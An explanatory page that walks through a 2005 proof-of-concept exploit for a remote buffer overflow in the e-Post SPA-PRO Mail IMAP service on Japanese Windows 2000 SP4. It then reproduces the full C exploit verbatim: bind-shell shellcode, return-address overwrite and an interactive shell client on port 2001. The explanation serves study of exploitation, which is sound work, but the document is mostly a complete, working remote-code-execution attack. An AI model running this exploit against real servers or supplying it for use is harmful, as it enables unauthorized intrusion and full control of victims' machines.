e-Post SPA-PRO 4.01 IMAP Remote Buffer Overflow Exploit Explained

e-Post SPA-PRO 4.01 IMAP Remote Buffer Overflow Exploit Explained
What this paper is
This paper presents a Proof-of-Concept (POC) exploit for a buffer overflow vulnerability in the e-Post SPA-PRO Mail @Solomon IMAP4S service, specifically version 4.01. The exploit targets Japanese Windows 2000 Service Pack 4. It aims to establish a "bind shell" on port 2001 of the vulnerable server, allowing an attacker to execute commands remotely.
Simple technical breakdown
The vulnerability lies in how the IMAP service handles a specific command. When a specially crafted string is sent to the service, it overflows a buffer, overwriting critical memory locations. This overflow is designed to redirect the program's execution flow to malicious code (shellcode) embedded within the same crafted string. This shellcode then sets up a listening socket on port 2001, and when an attacker connects to this port, they get a command shell on the compromised server.
The exploit works by:
- Connecting to the target server on the IMAP port (143).
- Sending a valid IMAP login command with provided username and password. This is to authenticate and potentially influence the buffer size calculation or memory layout.
- Sending the exploit payload. This payload contains:
- An IMAP
CREATEcommand. - A large amount of data, including padding, shellcode, and return addresses.
- The overflow is triggered by the
CREATEcommand's argument, which is designed to be too long.
- An IMAP
- Redirecting execution to the shellcode.
- Shellcode binds a shell to port 2001.
- Connecting to port 2001 to interact with the shell.
Complete code and payload walkthrough
The provided C code implements the exploit. Let's break it down:
C Code Structure
- Includes: Standard C libraries (
stdio.h,conio.h,winsock2.h,windows.h) and the Winsock library (ws2_32.lib). expBuf: A global array of unsigned characters containing the exploit payload. This is the core of the attack.shell(int sockfd)function: This function handles the interactive shell session once the exploit is successful. It reads input from the keyboard, sends it over the socket, and displays received data from the socket to the console.mainfunction:- Parses command-line arguments (username, password, IP address).
- Initializes Winsock.
- Creates a socket and connects to the target IMAP server (port 143).
- Receives the IMAP banner.
- Sends the login credentials.
- Receives the login reply.
- Sends the
expBufpayload. - Waits for a short period (
Sleep(2000)). - Creates a new socket and connects to port 2001 on the target IP.
- If the connection to port 2001 is successful, it calls the
shell()function to provide an interactive command prompt. - Cleans up Winsock resources.
expBuf Payload Breakdown
The expBuf is a critical part. It's a string that starts with "2 create \"" and ends with \"\r\n". The data in between is a carefully crafted sequence of bytes designed to exploit the buffer overflow.
unsigned char expBuf[] =
"2 create \"" // IMAP command prefix
// ... (shellcode and padding) ...
"\"\r\n"; // IMAP command suffixLet's analyze the structure of the data within expBuf:
"2 create \"": This is the beginning of an IMAPCREATEcommand. The2is a tag, andcreateis the command. The double quote\"starts the mailbox name argument.\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90: This is a sequence of NOP (No Operation) instructions. These are often used as a "sled" to ensure that if execution lands anywhere within this block, it will slide down to the actual shellcode.- Shellcode (approx. 400 bytes of
\x55\x8B\xEC\...): This is the executable code that the exploit aims to run. Based on the context (bind shell on port 2001), this shellcode likely performs the following actions:- Stack manipulation: Setting up a new stack frame (
\x55\x8B\xEC). - API resolution: Finding the addresses of necessary Windows API functions (like
socket,bind,listen,accept,send,recv,CreateProcessorcmd.exeexecution) in memory. This is often done by traversing the PEB (Process Environment Block) and loaded DLLs. - Socket creation: Creating a socket (
socket()). - Binding: Binding the socket to a specific address and port (port 2001).
- Listening: Listening for incoming connections on the bound port.
- Accepting: Accepting a connection from an attacker.
- Duplicating handles: Duplicating the accepted socket's handles to
STDIN,STDOUT, andSTDERRso that standard I/O functions can be used. - Executing a shell: Launching
cmd.exeor a similar command interpreter and redirecting its input/output to the accepted socket. \x41\x41\x41\x41(A's): These are likely padding or part of the overflow. TheAcharacter is0x41in ASCII.\xe9\x4f\xfe\xff\xff: This is a relative jump instruction. It's likely used to jump to a specific location within the shellcode or to bypass some initial checks.- More
\x41\x41\x41\x41: More padding. \x54\x54\x54\x54(T's): Likely padding.\x55\x55\x55\x55(U's): Likely padding.\x56\x56\x56\x56(V's): Likely padding.\x57\x57\x57\x57(W's): Likely padding.\xE9\x0C\xFE\xFF\xFF: Another relative jump.\xCC\xEB\xa0\x5A\xD6\x19\xF8\x74\x41\x41\x41\x42\x42\x42\x42...\x58\x58\x58\x58: This section contains a mix of bytes. Some are likely padding, and others might be part of the shellcode or return addresses. The\xCCis an INT 3 instruction, often used for debugging. The\xEBis a short jump. The\x5Ato\x58arePOPinstructions, which might be used to clean up the stack or retrieve values.
- Stack manipulation: Setting up a new stack frame (
\"\r\n": This closes the mailbox name argument for theCREATEcommand and sends the carriage return and newline characters, finalizing the IMAP command.
Key Constants and Variables in main
ADDR_POSITION 534: This is a crucial offset within theexpBuf. It indicates where the exploit expects to overwrite a return address on the stack.RET_ADDR 0x74F819D6: This is the target address that the buffer overflow will overwrite. This address should point to the start of the shellcode or a jump instruction that leads to it. The commentCALL EBX in Japanese Win2K SP4suggests this address is a location in the vulnerable service's code that, when called, will execute the shellcode.FIRST_BACKJMP_INST 0x5AA0EBCC: This is a machine code instruction (EB A0 5Afollowed by padding) that likely represents a short jump backwards. It's placed just before theRET_ADDRto ensure that execution flow is redirected correctly. The comment(EB AO)refers to the opcode for a short jump.retPos = ADDR_POSITION - (strlen(argv[1]) - 1): This line dynamically calculates the exact position withinexpBufwhere the return address should be placed. It accounts for the length of the username provided by the user, as the username is part of the data that causes the overflow. This ensures the overwrite happens at the correct stack location.*((DWORD *)&expBuf[retPos]) = RET_ADDR;: This line writes theRET_ADDRinto theexpBufat the calculatedretPos. This is the core of redirecting execution.*((DWORD *)&expBuf[retPos-4]) = FIRST_BACKJMP_INST;: This line writes theFIRST_BACKJMP_INSTjust before theRET_ADDR. This instruction helps to ensure that execution jumps to the shellcode.
shell function
kbhit(): Checks if a key has been pressed on the keyboard.fgets(): Reads a line of text from standard input (keyboard).send(sockfd, buffer, strlen(buffer), 0): Sends the user's input to the remote shell.FD_ZERO(&rset),FD_SET(sockfd, &rset): Initializes a file descriptor set to monitor the socket for incoming data.select(0, &rset, NULL, NULL, &tv): Waits for activity on the socket. The timeout (tv) is very short (50 microseconds) to allow thekbhit()check to run frequently.FD_ISSET(sockfd, &rset): Checks if the socket is ready for reading.recv(sockfd, buffer, sizeof(buffer), 0): Receives data from the remote shell.fwrite(buffer, 1, n, stdout): Writes the received data to the console.
Mapping of Code Fragments to Practical Purpose
| Code Fragment/Block
Original Exploit-DB Content (Verbatim)
//**************************************************************************
// e-Post SPA-PRO Mail @Solomon SPA-IMAP4S 4.01 Service Buffer Overflow
// Vulnerability
//
// Bind Shell POC Exploit for Japanese Win2K SP4
// 31 May 2005
//
// This POC code binds shell on port 2001 of a vulnerable e-Post
// SPA-PRO Mail @Solomon IMAP server.
//
// This POC assumes default mailbox configuration C:\mail\inbox\%USERNAME%
// Any changes to the mailbox configuration will cause this POC to
// fail due to the length differences.
//
//
// Advisory
// http://www.security.org.sg/vuln/spa-promail4.html
// http://www.security.org.sg/vuln/spa-promail4-jp.html
//
//**************************************************************************
#include <stdio.h>
#include <conio.h>
#include <winsock2.h>
#include <windows.h>
#pragma comment (lib,"ws2_32.lib")
unsigned char expBuf[] =
"2 create \""
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x55\x8B\xEC\x33\xC9\x66\xB9\xE8\x03\x2B\xE1\x32\xC0\x8B\xFC\xF3"
"\xAA\xB1\x30\x64\x8B\x01\x8B\x40\x0C\x8B\x70\x1C\xAD\x8B\x70\x08"
"\xD9\xEE\xD9\x74\x24\xF4\x5F\x83\xC7\x0C\xEB\x53\x60\x8B\x6C\x24"
"\x24\x8B\x75\x3C\x8B\x74\x35\x78\x03\xF5\x8B\x7E\x20\x03\xFD\x8B"
"\x4E\x18\x56\x33\xDB\x8B\x37\x03\xF5\x33\xC0\x99\xAC\x85\xC0\x74"
"\x07\xC1\xCA\x0D\x03\xD0\xEB\xF4\x3B\x54\x24\x2C\x74\x09\x83\xC7"
"\x04\x43\xE2\xE1\x5E\xEB\x16\x5E\x8B\x7E\x24\x03\xFD\x66\x8B\x04"
"\x5F\x8B\x7E\x1C\x03\xFD\x8B\x04\x87\x01\x44\x24\x24\x61\xC3\x89"
"\x75\xF4\x68\x8E\x4E\x0E\xEC\x56\xFF\xD7\x59\x33\xC0\x66\xB8\x6C"
"\x6C\x50\x68\x33\x32\x2E\x64\x68\x77\x73\x32\x5F\x54\xFF\xD1\x8B"
"\xF0\x68\xD9\x09\xF5\xAD\x56\xFF\xD7\x5B\x83\xC4\x20\x6A\x01\x6A"
"\x02\xFF\xD3\x89\x45\xD0\x68\xA4\x1A\x70\xC7\x56\xFF\xD7\x5B\x33"
"\xC0\x50\xB8\xFD\xFF\xF8\x2E\x83\xF0\xFF\x50\x8B\xC4\x6A\x10\x50"
"\xFF\x75\xD0\xFF\xD3\x68\xA4\xAD\x2E\xE9\x56\xFF\xD7\x5B\xFF\x75"
"\xD0\xFF\xD3\x8B\xCC\x6A\x10\x8B\xDC\x68\x35\x54\x8A\xA1\x56\xFF"
"\xD7\x5A\x50\x50\x53\x51\xFF\x75\xD0\xFF\xD2\x8B\xD0\x68\xE7\x79"
"\xC6\x79\x56\xFF\xD7\x58\x89\x45\xF0\x8B\x75\xF4\x83\xC4\x20\xC6"
"\x04\x24\x44\xC6\x44\x24\x2D\x01\x89\x54\x24\x38\x89\x54\x24\x3C"
"\x89\x54\x24\x40\x8B\xC4\x8D\x58\x44\x68\x72\xFE\xB3\x16\x56\xFF"
"\xD7\x5A\xB9\xFF\x63\x6D\x64\xC1\xE9\x08\x51\x8B\xCC\x53\x53\x50"
"\x33\xC0\x50\x50\x50\x6A\x01\x50\x50\x51\x50\xFF\xD2\x5B\x68\xAD"
"\xD9\x05\xCE\x56\xFF\xD7\x58\x6A\xFF\xFF\x33\xFF\xD0\xFF\x74\x24"
"\x48\xFF\x55\xF0\xFF\x75\xD0\xFF\x55\xF0\x68\xEF\xCE\xE0\x60\x56"
"\xFF\xD7\x58\xFF\xD0\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\xe9\x4f\xfe\xff\xff\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x54\x54\x54\x54"
"\x55\x55\x55\x55\x56\x56\x56\x56\x57\x57\x57\x57\xE9\x0C\xFE\xFF"
"\xFF\xCC\xEB\xa0\x5A\xD6\x19\xF8\x74\x41\x41\x41\x42\x42\x42\x42"
"\x43\x43\x43\x43\x44\x44\x44\x44\x45\x45\x45\x45\x46\x46\x46\x46"
"\x47\x47\x47\x47\x48\x48\x48\x48\x36\x49\x49\x49\x4A\x4A\x4A\x4A"
"\x4B\x4B\x4B\x4B\x4C\x4C\x4C\x4C\x4D\x4D\x4D\x4D\x4E\x4E\x4E\x4E"
"\x4F\x4F\x4F\x4F\x50\x50\x50\x50\x51\x51\x51\x51\x52\x52\x52\x52"
"\x53\x53\x53\x53\x54\x54\x54\x54\x55\x55\x55\x55\x56\x56\x56\x56"
"\x57\x57\x57\x57\x58\x58\x58\x58\x59\x59\x59\x59\x5A\x5A\x5A\x5A"
"\"\r\n";
void shell(int sockfd)
{
char buffer[1024];
fd_set rset;
FD_ZERO(&rset);
for(;;)
{
if(kbhit() != 0)
{
fgets(buffer, sizeof(buffer) - 2, stdin);
send(sockfd, buffer, strlen(buffer), 0);
}
FD_ZERO(&rset);
FD_SET(sockfd, &rset);
timeval tv;
tv.tv_sec = 0;
tv.tv_usec = 50;
if(select(0, &rset, NULL, NULL, &tv) == SOCKET_ERROR)
{
printf("select error\n");
break;
}
if(FD_ISSET(sockfd, &rset))
{
int n;
ZeroMemory(buffer, sizeof(buffer));
if((n = recv(sockfd, buffer, sizeof(buffer), 0)) <= 0)
{
printf("EOF\n");
return;
}
else
{
fwrite(buffer, 1, n, stdout);
}
}
}
}
#define ADDR_POSITION 534
#define RET_ADDR 0x74F819D6 // CALL EBX in Japanese Win2K SP4
// First short jump backwards. (EB AO)
// You should know what to change here, landing onto INT 3 to let debugger kick in.
#define FIRST_BACKJMP_INST 0x5AA0EBCC
int main(int argc, char* argv[])
{
WORD wVersionRequested;
WSADATA wsaData;
struct sockaddr_in sin;
int err;
char inBuffer[10000];
char loginBuf[1000];
if(argc != 4)
{
printf("\nUsage: %s <imap username> <imap password> <ip addr>\n", argv[0]);
return 1;
}
if(strlen(argv[1]) <= 0 || strlen(argv[1]) > 20)
{
printf("\nInvalid IMAP username! Maximum username length is 20.\n");
return 1;
}
if(strlen(argv[2]) <= 0 || strlen(argv[2]) > 14)
{
printf("\nInvalid IMAP password! Maximum password length is 14.\n");
return 1;
}
memset(loginBuf, 0, sizeof(loginBuf));
_snprintf(loginBuf, sizeof(loginBuf), "1 login \"%s\" \"%s\"\r\n", argv[1], argv[2]);
loginBuf[sizeof(loginBuf)-1] = 0;
int retPos = ADDR_POSITION - (strlen(argv[1]) - 1);
*((DWORD *)&expBuf[retPos]) = RET_ADDR;
*((DWORD *)&expBuf[retPos-4]) = FIRST_BACKJMP_INST;
wVersionRequested = MAKEWORD(2,0);
err = WSAStartup(wVersionRequested, &wsaData);
if(err != 0)
{
printf("\nWSAStartup Error.\n");
return 1;
}
if(LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 0)
{
printf("\nWinsock Version Error\n");
WSACleanup();
return 1;
}
SOCKET s = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0);
sin.sin_addr.s_addr = inet_addr(argv[3]);
sin.sin_family = AF_INET;
sin.sin_port = htons(143);
printf("\n[+] Trying to connect to %s\n", inet_ntoa(sin.sin_addr));
if(connect(s, (sockaddr *)&sin, sizeof(sin)) != SOCKET_ERROR)
{
int size;
// read IMAP banner
size = recv(s, inBuffer, sizeof(inBuffer), 0);
if(size == SOCKET_ERROR)
{
printf("[-] Error receiving IMAP banner!\n");
return 1;
}
printf("[+] IMAP banner received!\n\n");
fwrite(inBuffer, 1, size, stdout);
printf("\n");
if(send(s, (char *)loginBuf, strlen((char *)loginBuf), 0) == SOCKET_ERROR)
{
printf("[-] Error sending login!\n");
return 1;
}
printf("[+] Login Sent.\n");
size = recv(s, inBuffer, sizeof(inBuffer), 0);
if(size == SOCKET_ERROR)
{
printf("[-] Error receiving login reply!\n");
return 1;
}
if(strstr(inBuffer, "OK"))
printf("[+] Login successful!\n");
else
{
printf("[+] Login failed!\n");
return 1;
}
if(send(s, (char *)expBuf, strlen((char *)expBuf), 0) == SOCKET_ERROR)
{
printf("[-] Error sending exploit!\n");
return 1;
}
else
{
printf("[+] Exploit sent!\n");
}
Sleep(2000);
//================================= Connect to the target ==============================
SOCKET sock = socket(AF_INET, SOCK_STREAM, 0);
if(sock == INVALID_SOCKET)
{
printf("Invalid socket return in socket() call.\n");
WSACleanup();
return -1;
}
sin.sin_family = AF_INET;
sin.sin_port = htons(2001);
sin.sin_addr.s_addr = inet_addr(argv[3]);
if(connect(sock, (sockaddr *)&sin, sizeof(sin)) == SOCKET_ERROR)
{
printf("Exploit Failed. SOCKET_ERROR return in connect call.\n");
closesocket(sock);
WSACleanup();
return -1;
}
printf("[+] Exploit successful!\n\n");
shell(sock);
closesocket(sock);
}
else
{
printf("[-] Cannot connect!\n");
}
closesocket(s);
WSACleanup();
return 0;
}
// milw0rm.com [2005-06-02]